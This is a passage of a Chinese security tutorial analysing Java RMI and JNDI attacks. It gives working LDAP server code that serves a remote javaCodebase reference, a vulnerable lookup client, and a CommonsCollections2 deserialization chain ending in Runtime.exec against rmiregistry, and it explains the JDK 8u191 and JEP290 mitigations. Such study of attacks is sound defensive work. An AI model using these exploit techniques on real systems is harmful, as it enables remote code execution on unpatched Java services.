这次获取的是一个名称为TRUST_URL_CODEBASE_PROPERTY的属性值,也就是说我们需要将该值也设置为true才行
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
- //至于这个com.sun.jndi.ldap.object.trustURLCodebase这个属性会在后续的JNDI Reference的LDAP攻击响亮中讲到。
- System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
复制代码
也就是说 在jdk 8u191及其以后的版本中如果想让 JNDI Reference rmi攻击向量成功RCE的话 目标服务器就必须在lookup之前加上以上两行代码 由此可见在jdk 8u191及其以后的版本中通过这种方式来进行RCE攻击几乎不可能实现了。
0x06 服务端攻击客户端 3
在上一小节中通过使用JNDI 的Reference rmi攻击向量进行RCE攻击,根据网络上大佬们提供的思路,除了使用rmi攻击向量以外还可以使用JNDI Ldap向量来进行攻击 话不多说直接上源码,首先先看下Ldap服务端源码
- public class LDAPSeriServer {
- private static final String LDAP_BASE = "dc=example,dc=com";
- public static void main(String[] args) throws IOException {
- int port = 1389;
- try {
- //这里的代码只是在内存中模拟了一个ldap服务,本机上并不存在一个ldap数据库所以程序结束后这些就都消失了
- InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
- config.setListenerConfigs(new InMemoryListenerConfig(
- "listen", //$NON-NLS-1$
- InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
- port,
- ServerSocketFactory.getDefault(),
- SocketFactory.getDefault(),
- (SSLSocketFactory) SSLSocketFactory.getDefault()));
- config.setSchema(null);
- config.setEnforceAttributeSyntaxCompliance(false);
- config.setEnforceSingleStructuralObjectClass(false);
- //向ldap服务中添加数据条目,具体ldap条目相关细节可以去学习ldap相关知识,这里就不做详细讲解了
- InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
- ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
- ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
- ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
- System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
- ds.startListening();
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
复制代码以上的代码呢就是在本地起了一个ldap服务监听1389端口,并向其中添加了一条可被查询的条目。单起一个ldap服务肯定是不够的,既然是ldap RCE攻击向量,那就肯定要添加一些东西让 客户端在通过JNDI查询该Ldap的条目之后转而去指定的服务器上加载恶意类。 所以需要向该条目中添加一些属性,根据知道创宇404实验室的Longofo大佬的文章
- public class LDAPServer1 {
- public static void main(String[] args) throws NamingException, RemoteException {
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY,
- "com.sun.jndi.ldap.LdapCtxFactory");
- env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
- DirContext ctx = new InitialDirContext(env);
- Attribute mod1 = new BasicAttribute("objectClass", "top");
- mod1.add("javaNamingReference");
- Attribute mod2 = new BasicAttribute("javaCodebase",
- "http://127.0.0.1:8000/");
- Attribute mod3 = new BasicAttribute("javaClassName",
- "ExportObject");
- Attribute mod4 = new BasicAttribute("javaFactory", "com.longofo.remoteclass.ExportObject");
- ModificationItem[] mods = new ModificationItem[]{
- new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
- new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
- new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
- new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
- };
- ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods);
- }
- }
复制代码
这里是向之前创建好的ldap索引中添加一些属性,客户端在向服务端查询该条索引,服务端返回查询结果,客户端根据服务端的返回结果然后去指定位置查找并加载恶意类,这就是ldap攻击向量一次RCE攻击的流程。 这里我们就要具体关注下JNDI客户端是如何在访问Ldap服务的时候被RCE的 首先客户端代码
- public class LDAPClient1 {
- public static void main(String[] args) throws NamingException {
- Context ctx = new InitialContext();
- Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
- }
- }
复制代码lookup函数开始一直往下执行,执行到LdapCtx.c_lookup方法时,发送查询信息到服务端并解析服务端的返回数据
- protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
- var2.setError(this, var1);
- Object var3 = null;
- Object var4;
- try {
- SearchControls var22 = new SearchControls();
- var22.setSearchScope(0);
- var22.setReturningAttributes((String[])null);
- var22.setReturningObjFlag(true);
- //此处客户端向服务端进行查询并获得查询结果
- LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
- this.respCtls = var23.resControls;
- if (var23.status != 0) {
- this.processReturnCode(var23, var1);
- }
- if (var23.entries != null && var23.entries.size() == 1) {
- LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
- var4 = var25.attributes;
- Vector var8 = var25.respCtls;
- if (var8 != null) {
- appendVector(this.respCtls, var8);
- }
- } else {
- var4 = new BasicAttributes(true);
- }
- if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
- //将查询的结果,也就是我们在server端所添加的那几条属性进行解析,并返回一个Reference对象
- var3 = Obj.decodeObject((Attributes)var4);
- }
- ......
- try {
- //此后的操作就和rmi Reference一样的通过实例化URLClassloader对像,根据Reference中的信息去远程加载恶意类
- return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
- ......
- }
复制代码 关键点在于var3 = Obj.decodeObject((Attributes)var4)这行代码解析完成后所返回的结果,如下图所示。
然后在DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4)这行代码中根据Reference中的信息 实例化URLClassloader去远程加载恶意类。
这种方法一直到jdk 8u191之前的版本都是可用的,但是在之后的版本中同 JNDI rmi Reference一样,添加了对com.sun.jndi.ldap.object.trustURLCodebase属性的校验,该值默认为false
0x07 服务端攻击rmiregistry
接下来我们就要讲通过服务端来攻击rmiregistry了,和客户端服务端互相攻击的方式比起来相对复杂那么一些,确切的说是通过伪造一个服务端的形式,因为之前说这rmiregistry通常都和真正的服务端出在同一个主机,同一个项目上,根据我们之前对RMI流程的分析,服务端在通过bind方法向rmiregistry绑定远程方法信息时,rmiregistry会反序列化服务端传来的数据,在rmiregistry方处理服务端传来的数据时会调用RegistryImpl_Skel的dispatch方法,其中会反序列化服务端传来的两个信息,一个是远程方法提供服务的注册名,另一个是封装有远程方法提供服务方信息的Proxy对象。
- //获取输入流
- var9 = var2.getInputStream();
- //反序列化“hello”字符串
- var7 = (String)var9.readObject();
- //这个位置本来是属于反序列化出来的“HelloImpl”对象的,但是最终结果得到的是一个Proxy对像
- //这个很关键,这个Proxy对象即所为的Stub(存根),客户端就是通过这个Stub来知道服务端的地址和端口号从而进行通信的。
- //这里的反序列化点很明显是我们可以利用的,通过RMI服务端执行bind,我们就可以攻击rmiregistry注册中心,导致其反序列化RCE
- var80 = (Remote)var9.readObject();
复制代码第一个String类型的数据反序列化我们没有利用的思路,因为String是一个final类型,没办法继承和实现,我们入手的点就只能是下面的那个 var80 = (Remote)var9.readObject();之前分析RMI流程代码时有一个点没有提到,就是bind方法在序列化一个远程对象时会将转化成一个proxy对象然后再进行序列化操作并传输给rmiregistry,序列化的proxy对像默认是实现Remot接口并封装RemoteObjectInvocationHandler的,但是如果传递的远程对象本身就是Proxy则不会进行任何转化直接传递,由MarshalOutputStream对象的replaceObject方法来实现具体操作,代码如下。
- protected final Object replaceObject(Object var1) throws IOException {
- if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
- Target var2 = ObjectTable.getTarget((Remote)var1);//生成一个Target对象,其中有一个stub属性就是转化好的Proxy对象
- if (var2 != null) {
- return var2.getStub();//返回Proxy对象
- }
- }
- return var1;
- }
复制代码那么这样以来,似乎攻击的思路就突然清晰了,我们只需要找一个rmiregistry中可以利用的Gadget然后,ysoserial中的RMIRegistryExploit就是针对使用了版本低于JDK8u121的rmiregistry进行反序列化攻击的一个工具。 此次的测试环境是jdk1.7_21,采用CommonCollection2作为payload来进行尝试和分析。由于CommonCollection2封装的过程中用到了
- import org.apache.commons.collections4.comparators.TransformingComparator;
- import org.apache.commons.collections4.functors.InvokerTransformer;
复制代码所以在rmiregistry这边将commons-collections4引入 - <dependency>
- <groupId>org.apache.commons</groupId>
- <artifactId>commons-collections4</artifactId>
- <version>4.0</version>
- </dependency>
复制代码 然后展示一下服务端这边最终封装完后的一个Proxy,服务端将这个Proxy序列化后 传递给rmiregistry,然后rmiregistry反序列化该数据从而出发漏洞执行命令
最终的调用链简化一下,如下所示
- AnnotationInvocationHandler.readObject()
- HashMap.readObject()
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator()
- TransformingComparator.compare()
- InvokerTransformer.transform()
- TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
- Runtime.exec()
复制代码具体的反序列化过程就不做分析了 但是要注意一点就是jdk 8u121版本以后,在rmiregistry创建时不是有这么一段代码么 this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter)); 传入了RegistryImpl::registryFilter作为参数,所以在rmiregistry这边反序列化服务端传递来的Proxy对象时,是会进行对象的白名单校验的,只有以下对象才能进行反序列化
- String.class != var2
- && !Number.class.isAssignableFrom(var2)
- && !Remote.class.isAssignableFrom(var2)
- && !Proxy.class.isAssignableFrom(var2)
- && !UnicastRef.class.isAssignableFrom(var2)
- && !RMIClientSocketFactory.class.isAssignableFrom(var2)
- && !RMIServerSocketFactory.class.isAssignableFrom(var2)
- && !ActivationID.class.isAssignableFrom(var2)
- && !UID.class.isAssignableFrom(var2)
复制代码- 但是我们在构造恶意类的时候使用的是CommonCollection2,registryFilter在反序列化完最外面的proxy对象后第二要要反序列化的就是AnnotationInvocationHandler,而AnnotationInvocationHandler根本就不在上面的白名单里所以自然会抛出异常
复制代码
- ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler
复制代码这个白名单过滤机制也就是所谓的 JEP290, 就是可以通过实现ObjectInputFilter这么一个函数式接口的方式来自定义自己想要过滤的类,在使用了该机制以后,ysoserial中所有的gadget几乎都不可用了,需要想办法绕过这个白名单才行。 0x08 总结
在以上的讲解中,我们分析了 RMI客户端,服务端以及rmiregistry之间的关系,也对三方之间的多种攻击方式进行了详细的介绍,希望大家在看完文章后可以自己再跟随文章的步骤,手动调试一下这个过程,这样可以加深大家对RMI,JRMP,以及JNDI的理解。
0x09 参考链接
https://xz.aliyun.com/t/7079 https://xz.aliyun.com/t/7264 https://paper.seebug.org/1091/
|